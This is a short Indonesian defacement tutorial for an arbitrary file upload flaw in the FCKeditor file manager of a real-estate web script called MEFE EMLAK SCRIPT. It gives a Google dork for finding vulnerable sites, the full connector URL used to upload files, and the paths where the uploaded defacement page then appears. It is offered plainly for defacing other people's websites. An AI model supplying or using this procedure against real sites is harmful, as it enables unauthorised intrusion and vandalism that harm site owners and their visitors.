Deface menggunakan FCKEditor Vulnerability

Author : KaCaK
HomePage : http://www.griadamlar.com
Web App.Name : MEFE EMLAK SCRIPT
Price : N/A
Version : N/A
Software: http://emlak.mefe.net/
Vulnerability Style : File Upload
Bug : File Upload
Google Keyword ( Dork ) : inurl:advert_detail.php?id=

Exploit FCKeditor Artibary File Upload :

http://Site.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php

Contoh kalau sudah di exploit

Hasil deface kita ada di

www.site.com/files ( kalo lu rename script pepesan lu jadi index.html)
www.site.com/files/namascriptlu.html ( kalo lu rename script pepesan lu bebas,contoh Cowo.html )

Sekian tutorial dari saya semoga bermanfaat

Sumber : CowoKerensTeam